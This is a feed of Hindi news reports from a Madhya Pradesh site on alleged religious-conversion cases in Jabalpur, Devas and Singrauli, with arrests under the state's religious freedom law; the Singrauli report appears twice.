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जबलपुर में जिम में ट्रेनिंग देने के नाम पर धर्म परिवर्तन करने का सनसनीखेज मामला, इस्लाम अपनाने बनाता था दबाव https://pratyushaashakinayikiran.com/?p=170920 Wed, 16 Jul 2025 10:56:00 +0000 https://pratyushaashakinayikiran.com/?p=170920 जबलपुर
 मध्य प्रदेश के जबलपुर में जिम में ट्रेनिंग देने के नाम पर धर्म परिवर्तन करने का सनसनीखेज मामला सामने आया है। जी हां जिम की एक महिला सहकर्मी ने अधारताल थाने में आकर शिकायत की है कि जिम का ट्रेनर अमन खान न केवल उसके साथ गाली गलौज करता है, बल्कि बेड टच भी करता है। पीड़िता ने बताया कि अमन खान लंबे समय से उसे इस्लाम के फायदे बात कर मुस्लिम धर्म अपनाने का दबाव बना रहा था।  

बात नहीं मानने पर करता था बैड टच 

पीड़िता ने बताया कि जब उसने अमन खान की बात नहीं सुनी तो वह उसके साथ गाली गलौज और बेड टच करने की कोशिश करता है। पीड़िता के साथ घट रही घटना की जानकारी जैसे ही टाइगर फोर्स को लगी तो देर रात टाइगर फोर्स के लोग पीड़िता को लेकर अधारताल थाने पहुंचे। पीड़िता और टाइगर फोर्स के लोगों ने थाने में बताया कि अमन खान जिम में आने वाली लड़कियों को अपना नाम पहले तो अमन राज बताता था, फिर उनको धीरे-धीरे बातों में लेकर इस्लाम के फायदे बताकर मुस्लिम धर्म अपनाने की बात कहता था। जब लड़कियां उसकी बात नहीं सुनती तो फिर उनके साथ अभद्र व्यवहार और बेड टच जैसी हरकत करता था। 

टाइगर फ़ोर्स ने सख्त कार्रवाई की मांग की 

टाइगर फोर्स ने मांग की है कि अमन खान के खिलाफ सख्त कार्रवाई करते हुए जिम के संचालक के ऊपर भी कार्रवाई की जाए। टाइगर फोर्स का कहना है कि जिम में इतने लंबे समय से सारी चीज चल रही है और जिम संचालक को पता ना हो, ऐसा मुमकिन नहीं है। वहीं पुलिस ने पीड़िता और टाइगर फोर्स की शिकायत के आधार पर मामला कायम कर अमन खान को गिरफ्तार कर लिया है और मामले की जांच जारी है।

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देवास में धर्मांतरण के नाम पर ₹50 हजार इलाज और बच्चों को अच्छे स्कूल में दाखिला देने का लालच https://pratyushaashakinayikiran.com/?p=165470 Sat, 21 Jun 2025 07:56:00 +0000 https://pratyushaashakinayikiran.com/?p=165470 देवास 

देवास जिले के सोनकच्छ थाना क्षेत्र के ग्राम चौबारा जागीर में शुक्रवार को धर्मांतरण कराने की कोशिश का मामला सामने आया। गांव में पहुंचे कुछ युवक-युवतियां ग्रामीणों को ईसाई धर्म अपनाने के लिए प्रेरित कर रहे थे। सूचना मिलते ही पुलिस ने मौके पर पहुंचकर चार लोगों को हिरासत में लिया, जबकि मुख्य आरोपी मिथुन फरार हो गया।

शिकायतकर्ता गजराज सिंह के अनुसार आरोपियों ने गांव में बैठक कर लोगों से कहा कि प्रभु यीशु सभी समस्याओं का समाधान करते हैं। धर्म परिवर्तन करने वालों को ₹50 हजार इलाज की सुविधा और बच्चों को अच्छे स्कूल में दाखिला देने का लालच भी दिया गया। साथ ही हिन्दू देवी-देवताओं पर आपत्तिजनक टिप्पणियां कर लोगों से कहा गया कि उनके फोटो घरों से हटा दिए जाएं।

ईसाइ धर्म अपनाने के लिए प्रेरित किया

पुलिस से मिली जानकारी के अनुसार फरियादी सरपंच गजराज सिंह सेंधव निवासी ग्राम चौबाराजागीर ने रिपोर्ट दर्ज करवाई कि शुक्रवार को उनको सूचना मिली कि ग्राम भटकुंड में एक बैठक होने वाली है जिसमें बाहर से लोग आने वाले हैं। इसके बाद मैं व मेरे साथी भीम सिंह व जयसिंह मौके पर पहुंचे। यहां भग्गू नाम के व्यक्ति के यहां पांच लोग आये थे। इन्होंने ईसा मसीह के पोस्टर लगा रखे थे और मौजूद लोगों से कह रहे थे हमारे यीशु सब काम करते हैं। इन्होंने ईसाई धर्म का गुणगान किया और ईसाइ धर्म अपनाने के लिए प्रेरित किया। इसके लिए रुपये व खाने-पीने के सामान का लालच भी दिया गया। इसके बाद आरोपितों ने सनातन धर्म व देवी-देवताओं पर अपमानजनक टीका-टिप्पणी शुरू कर दी।
हिन्दू धर्म के बारे में की अपमानजनक बातें

आरोपियों ने कहा कि कहा आपके घरों में जो भगवान के फोटो लगे हैं जैसे हनुमान, दुर्गा देवी, भोलेनाथ, श्रीराम, इनके फोटो मत लगाओ, इनको घर से निकालकर फेंक दो। इनको लगाने से कुछ नहीं होता, ये कभी किसी की रक्षा नहीं करते। जब श्रीराम अपनी पत्नी की रक्षा नहीं कर पाये तो आपकी क्या रक्षा करेंगे। अगर यह सब भगवान होते तो रोज इतनी अनहोनी घटनाएं हो रही हैं, उनको वह बचाते। ईसाई धर्म में प्रशु यीशु सबकी रक्षा करते हैं। सबके कार्य भी उनकी प्रार्थना करने से पूरे होते हैं।

दूसरा धर्म अपनाने के लिए दिया लालच

इसके साथ ही उन्होंने कहा कि आप सब लोग सनातन धर्म छोड़कर ईसाई धर्म अपना लो। ऐसा करने पर सभी लोगों को फ्री में उपचार करवायेंगे, आपके बच्चों को अच्छे स्कूल में पढ़ायेंगे। जो भी व्यक्ति ईसाई बनेगा उसे 50-50 हजार रुपये देंगे। लोगों ने बातों का विरोध किया तो विवाद करने लगे, इसके बाद गांव के अन्य लोग एकजुट हो गए। इस दौरान एक आरोपित भाग निकला, शेष को लोगों ने पुलिस के हवाले किया।
इन पर दर्ज हुआ केस

सोनकच्छ पुलिस के अनुसार आरोपित मंजू पुत्री जगरामा निवासी डांगराखेड़ा बागली, किरण निवासी इमलीपुरा, बागली, आदर्शनगर बागली की एक किशोरी, बेरी फाटा बागली का एक किशोर व मिथुन के विरुद्ध मप्र धार्मिक स्वतंत्रता अधिनियम 2021 की धारा 3 व 5 के तहत केस दर्ज किया गया है। मिथुन मौके से फरार हो गया था, उसकी तलाश की जा रही है। सोनकच्छ थाना टीआइ अभिनव शुक्ला ने बताया हिरासत में लिये गए आरोपितों से पूछताछ की जा रही है।

मामले में पुलिस ने तीन युवतियों किरण (ईमलीपुरा), माहिदा (आदर्श नगर बागली) और मजु (डागराखेड़ा) तथा दो युवकों सचिन (बेरी फाटा) और मिथुन (सोनकच्छ) के खिलाफ मामला दर्ज किया है। इनमें से चार को हिरासत में लिया गया है, जबकि मुख्य आरोपी मिथुन मौके से फरार हो गया। यह कार्रवाई हिंदू संगठनों के प्रयासों के बाद संभव हो सकी। फिलहाल गांव में स्थिति शांतिपूर्ण है और पुलिस फरार आरोपी की तलाश कर रही है।

 

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सिंगरौली में सरकारी शिक्षक करवा रहा धर्मांतरण, कमरे के अंदर घुसी पुलिस तो भीड़ देखकर सन्न https://pratyushaashakinayikiran.com/?p=140790 Mon, 17 Mar 2025 07:46:00 +0000 https://pratyushaashakinayikiran.com/?p=140790 सिंगरौली
मध्यप्रदेश के सिंगरौली जिले में उस समय हड़कंप मच गया, जब एक बंद कमरे में धर्मांतरण की सभा चल रही थी। इसी दौरान अचानक पुलिस पहुंच गई, मौके पर 50 से अधिक लोग उस सभा का हिस्सा थे। पुलिस ने धर्म परिवर्तन कराने वाले एक सरकारी शिक्षक समेत दो को गिरफ्तार कर लिया है। मौके से कई बाइबिल और अन्य किताबें भी जब्त किया है।

सिंगरौली में चल रहा धर्मांतरण का खेल

ताजा मामला मध्यप्रदेश के उर्जाधानी सिंगरौली जिले का है, जहां माड़ा थाना इलाके के करसुआ गांव में धर्म परिवर्तन का खेल धड़ल्ले से चलाया जा रहा था। धर्मांतरण की सूचना जैसे पुलिस को मिली, पुलिस टीम मौके पर पहुंचकर धर्मांतरण को रोक दिया। घटना स्थल पर पुलिस पहुंची और धर्मांतरण करा रहे एक सरकारी शिक्षक सहित दो व्यक्ति को गिरफ्तार कर लिया।

बड़ी संख्या में बाइबिल जब्त किया

वहीं, मौके से पुलिस ने बड़ी संख्या में बाइबिल को भी बरामद किया है। सूचना मिलने पर पहुंची माड़ा पुलिस ने एक मकान में छापा मारा। वहां एक बंद कमरे में 50 से ज्यादा लोगों को बाइबिल और दूसरी धार्मिक सामग्री के साथ पुलिस ने पकड़ा। जिसमें दो लोगों को पुलिस ने हिरासत में लिया है।

सरकारी शिक्षक शामिल

कमलेश साकेत करसुआ राजा गांव के सरकारी स्कूल में शिक्षक है जो अपने साथी अरबिंद साकेत के साथ मिलकर गांव के आस पास के लोगों को इकट्ठा कर धर्म परिवर्तन के लिए प्रेरित कर रहे थे। दोनों ही आरोपी कोटिया गांव के निवासी बताए जा रहे हैं।

माड़ा थाना प्रभारी शिवपूजन मिश्रा ने बताया कि पुलिस को सूचना मिली थी कि करसुआ राजा गांव में धर्म परिवर्तन का खेल चल रहा है। पुलिस छापेमारी के दौरान भारी संख्या में लोग मौजूद थे। धर्म परिवर्तन कराने वाले गिरोह के 2 सदस्यों को गिरफ्तार किया गया,जिनसे पूछताछ की जा रही है। बंद कमरे में मौजूद धर्म परिवर्तन कर रहे लोगों के पास से कई बाइबिल भी बरामद किया गया है, जिसे कब्जे में लिया गया है।

उन्होंने कहा कि वहां मौजूद लोगों को गुमराह किया जा रहा था। साथ ही उन्हें प्रलोभन भी दिया जा रहा था। गिरफ्तार लोगों से पूछताछ की जा रही कि इनके तार कहां-कहां जुड़े हैं और इनके साथ कितने लोग और जुड़े हैं।

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सिंगरौली में सरकारी शिक्षक करवा रहा धर्मांतरण, कमरे के अंदर घुसी पुलिस तो भीड़ देखकर सन्न https://pratyushaashakinayikiran.com/?p=140792 Mon, 17 Mar 2025 07:46:00 +0000 https://pratyushaashakinayikiran.com/?p=140792 सिंगरौली
मध्यप्रदेश के सिंगरौली जिले में उस समय हड़कंप मच गया, जब एक बंद कमरे में धर्मांतरण की सभा चल रही थी। इसी दौरान अचानक पुलिस पहुंच गई, मौके पर 50 से अधिक लोग उस सभा का हिस्सा थे। पुलिस ने धर्म परिवर्तन कराने वाले एक सरकारी शिक्षक समेत दो को गिरफ्तार कर लिया है। मौके से कई बाइबिल और अन्य किताबें भी जब्त किया है।

सिंगरौली में चल रहा धर्मांतरण का खेल

ताजा मामला मध्यप्रदेश के उर्जाधानी सिंगरौली जिले का है, जहां माड़ा थाना इलाके के करसुआ गांव में धर्म परिवर्तन का खेल धड़ल्ले से चलाया जा रहा था। धर्मांतरण की सूचना जैसे पुलिस को मिली, पुलिस टीम मौके पर पहुंचकर धर्मांतरण को रोक दिया। घटना स्थल पर पुलिस पहुंची और धर्मांतरण करा रहे एक सरकारी शिक्षक सहित दो व्यक्ति को गिरफ्तार कर लिया।

बड़ी संख्या में बाइबिल जब्त किया

वहीं, मौके से पुलिस ने बड़ी संख्या में बाइबिल को भी बरामद किया है। सूचना मिलने पर पहुंची माड़ा पुलिस ने एक मकान में छापा मारा। वहां एक बंद कमरे में 50 से ज्यादा लोगों को बाइबिल और दूसरी धार्मिक सामग्री के साथ पुलिस ने पकड़ा। जिसमें दो लोगों को पुलिस ने हिरासत में लिया है।

सरकारी शिक्षक शामिल

कमलेश साकेत करसुआ राजा गांव के सरकारी स्कूल में शिक्षक है जो अपने साथी अरबिंद साकेत के साथ मिलकर गांव के आस पास के लोगों को इकट्ठा कर धर्म परिवर्तन के लिए प्रेरित कर रहे थे। दोनों ही आरोपी कोटिया गांव के निवासी बताए जा रहे हैं।

माड़ा थाना प्रभारी शिवपूजन मिश्रा ने बताया कि पुलिस को सूचना मिली थी कि करसुआ राजा गांव में धर्म परिवर्तन का खेल चल रहा है। पुलिस छापेमारी के दौरान भारी संख्या में लोग मौजूद थे। धर्म परिवर्तन कराने वाले गिरोह के 2 सदस्यों को गिरफ्तार किया गया,जिनसे पूछताछ की जा रही है। बंद कमरे में मौजूद धर्म परिवर्तन कर रहे लोगों के पास से कई बाइबिल भी बरामद किया गया है, जिसे कब्जे में लिया गया है।

उन्होंने कहा कि वहां मौजूद लोगों को गुमराह किया जा रहा था। साथ ही उन्हें प्रलोभन भी दिया जा रहा था। गिरफ्तार लोगों से पूछताछ की जा रही कि इनके तार कहां-कहां जुड़े हैं और इनके साथ कितने लोग और जुड़े हैं।

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